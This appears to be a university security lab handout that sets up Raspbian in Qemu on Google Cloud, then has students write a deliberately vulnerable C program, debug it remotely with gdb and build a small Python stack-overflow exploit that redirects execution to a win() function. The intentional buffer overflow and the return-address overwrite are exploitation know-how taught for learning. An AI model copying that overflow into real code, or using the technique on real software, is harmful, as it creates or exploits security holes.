ED 411: Raspbian in Qemu (15 extra)

What You Need

Purpose

To get Debian running in the Qemu emulator on a Google Cloud Debian host, so we can perform memory corruption exploits and examine ARM assembly.

Create a New Instance

Make a default Debian Linux 9 instance on Google Cloud with the normal 10 GB disk. You need about 5 GB for the Raspberry Pi image.

Installing Qemu

From the Google Cloud Console, open an SSH connection to your powerful server and execute these commands, one at a time.

sudo apt update
sudo apt install qemu -y

Downloading and Running the ARM image

We'll use a handy pre-made ARM image I got from here.

In your SSH session, execute these commands:


sudo apt install python-pip -y
pip install gdown
.local/bin/gdown https://drive.google.com/uc?id=1msD8ukSdxwb6sOramc-UFcJ_BymtkT5c
sudo apt install unzip -y
unzip armv6_stretch.zip
cd armv6_stretch
cat start.sh
As you can see, the startup script defines an "EXTRA_PORT" which maps port 4444 on the Qemu emulated Arm system to port 6987 on the host Debian Linux system, as shown below.

We'll use that port below for remote debugging.

In your SSH session, execute this command:


./start.sh
The emulated Raspberry Pi starts up, and a couple of screens ot text scroll by.

Log in with these credentials:

Making a Vulnerable Program

Execute this command:

nano pwd.c
Enter this code, as shown below:

#include <stdlib.h>
#include <stdio.h>

int test_pw() {
        char password[10];
        printf("Password address: %p\n", password);
        printf("Enter password: ");
        fgets(password, 50, stdin);
        return 1;
}

void win() {
        printf("You win!\n");
}

void main() {
        if (test_pw()) printf("Fail!\n");
        else win();
}
The interface is a little show and buggy.

Save the file with Ctrl+X, Y, Enter.

Now execute this command:


cat pwd.c
Make sure it's correct, as shown below.

Now execute these commands:


gcc -g -o pwd pwd.c
./pwd
HELLO
The program runs, printing out "HELLO", and then "Fail!", as shown below:

Observing a Crash

Execute these commands:

./pwd
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIJJJJ
The program crashes with a "Segmentation fault", as shown below:

Starting gdbserver

When debugging a process on a small, slow system, it's best to use remote debugging -- a small "gdbserver" stub runs on the Arm device and the debugger runs on another system.

In Qemu, at the "pi@raspberrypi:~$" prompt, execute this command:


gdbserver --multi :4444
Your Raspberry Pi is now listening on port 4444, as shown below:

Connect to Another Debian Cloud Server

This can be an existing Debian Google Cloud instance; you don't need much room on the hard disk. If you don't have one handy, just create another default Debian 9 instance.

Open an SSH session to this server and execute these commands to get "armgdb" ready:


sudo apt update
sudo apt install bzip2 build-essential gcc-multilib -y
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install libncurses5:i386 libc6-i386 lib32z1 -y

wget https://launchpad.net/linaro-toolchain-binaries/trunk/2012.12/+download/gcc-linaro-arm-linux-gnueabihf-4.7-2012.12-20121214_linux.tar.bz2

tar xjvf gcc-linaro-arm-linux-gnueabihf-4.7-2012.12-20121214_linux.tar.bz2

cp ./gcc-linaro-arm-linux-gnueabihf-4.7-2012.12-20121214_linux/bin/arm-linux-gnueabihf-gdb armgdb

Remotely Debugging the pwd Binary

Execute these commands to connect to the ARM device and debug the "pwd" binary. Replace the IP address in the second command with the IP address of the Debian cloud server running your Qemu emulator, which you can find in the Google Cloud Console.

./armgdb
target extended 10.128.0.9:6987
remote get /home/pi/pwd.c pwd.c
remote get /home/pi/pwd pwd
file pwd
set remote exec-file /home/pi/pwd
break main
run
list 1,20
You see the C source code for "pwd.c", as shown below:

Disassembling main

On your Debian instance running gdb, execute this command to see the assembly code for the main function.

disassemble main
Notice that the instruction after the call to test_pw has address 0x00010544, as shown below:

Examining the Stack

On your Debian instance running gdb, execute these commands to delete the old breakpoint, place a breakpoint after the buffer overflow, and continue running the program.

delete breakpoints
y
break 9
continue

Entering a Short Password

In your Qemu session, enter this password, as shown below:

AAAA
The program proceeds to the breakpoint, as shown below.

On your Debian instance running gdb, execute this command to examine the stack:


x/10x $sp
As shown below, the password is on the stack (outlined in green) and the return pointer is 16 bytes lower (outlined in red).

On your Debian instance running gdb, execute this command to continue execution:


continue

Using a Longer Password

On your Debian instance running gdb, execute this command:

run
In your Qemu session, enter this password, as shown below:

AAAABBBBCCCCDDDDEEEE
The program proceeds to the breakpoint, as shown below.

On your Debian instance running gdb, execute this command to view the stack:


x/10x $sp
The return pointer now contains 0x45454545, or "EEEE", as shown below.

On your Debian instance running gdb, execute this command to continue execution:


continue
The progran crashes, trying to execute code at address 0x45454545, as shown below.

Finding the Target Address

On your Debian instance running gdb, execute this command to disassemble the win function:

disassemble win
As shown below, this function is at address 0x0001051c

Exiting from Gdb

On your Debian instance running gdb, execute these commands, one at a time.

monitor exit
quit
y

Writing Python Exploit Code

In your Qemu session, execute this command:

nano winpwd
Enter this code into the file, as shown below.

prefix = "AAAABBBBCCCCDDDD"
eip = "\x1c\x05\x01\x00"
print prefix + eip
Save the file with Ctrl+X, Y, Enter.

Execute this command to write the output into a file:


python winpwd > winpwda

Flag ED 411.1: Running the Exploit (15 pts)

In your Qemu session, execute this command:

cat winpwda | ./pwd
You see the "You win!" message. The flag is covered by a green rectangle in the image below.


Sources

ARMv6-M Architecture Reference Manual
wget/curl large file from google drive
gdb_exception_RETURN_MASK_ERROR #206
Compiling a Debian package with debug symbols
Cross compiling for ARM with Ubuntu 16.04 LTS
17. Debugging Remote Programs
Raspbian GDB broken
Raspberry Pi: debugging with gdb, command line
Raspberry Pi: C++ cross-compiling
BL instruction ARM - How does it work
SMASHING THE ARM STACK: ARM EXPLOITATION PART 1


Posted 11-26-19